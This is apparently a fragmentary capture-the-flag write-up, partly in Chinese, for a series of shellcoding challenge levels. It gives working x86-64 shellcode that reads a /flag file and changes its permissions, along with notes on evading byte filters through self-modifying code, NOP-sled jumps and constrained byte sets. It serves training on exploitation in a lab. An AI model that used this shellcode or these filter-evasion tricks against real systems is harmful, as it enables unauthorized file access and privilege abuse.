mov rbx, 0x00000067616c662f # push "/flag" filename push rbx mov rax, 2 # syscall number of open mov rdi, rsp # point the first argument at stack ("/flag"). mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY). syscall # trigger open("/flag", NULL).
mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout). mov rsi, rax # second argument is the file descriptor returned by open mov rdx, 0 # third argument is the number of bytes to skip from the input file mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file mov rax, 40 # syscall number of sendfile syscall # trigger sendfile(1, fd, 0, 1000).
mov rax, 60 # syscall number of exit syscall # trigger exit().
Level 3
This challenge requires that your shellcode have no NULL bytes!
This challenge requires that your shellcode does not have any syscall, ‘sysenter’, or int instructions. System calls are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05(syscall), 0f34 (sysenter), and 80cd (int). One way to evade this is to have your shellcode modify itself to insert the syscall instructions at runtime.
This challenge requires that your shellcode does not have any syscall, ‘sysenter’, or int instructions. System calls are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05(syscall), 0f34 (sysenter), and 80cd (int). One way to evade this is to have your shellcode modify itself to insert the syscall instructions at runtime.
Removing write permissions from first 4096 bytes of shellcode.
This challenge is about to close stdin, which means that it will be harder to pass in a stage-2 shellcode. You will need to figure an alternate solution (such as unpacking shellcode in memory) to get past complex filters.
This challenge is about to close stderr, which means that you will not be able to get use file descriptor 2 for output.
This challenge is about to close stdout, which means that you will not be able to get use file descriptor 1 for output. You will see no further output, and will need to figure out an alternate way of communicating data back to yourself.
This challenge modified your shellcode by overwriting every other 10 bytes with 0xcc. 0xcc, when interpreted as an instruction is an INT 3, which is an interrupt to call into the debugger. You must avoid these modifications in your shellcode.
每隔10字节就会用10个中断替换,用循环跳过就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13
push 0x66 mov rdi, rsp push 4 pop rsi jmp next .rept 10 nop .endr /* call chmod() */ next: push SYS_chmod /* 0x5a */ pop rax syscall
Level 10
This challenge just sorted your shellcode using bubblesort. Keep in mind the impact of memory endianness on this sort (e.g., the LSB being the right-most byte).
This sort processed your shellcode 8 bytes at a time.
代码同level 9
Level 11
This challenge is about to close stdin, which means that it will be harder to pass in a stage-2 shellcode. You will need to figure an alternate solution (such as unpacking shellcode in memory) to get past complex filters.
代码同level 9
Level 12
This challenge requires that every byte in your shellcode is unique!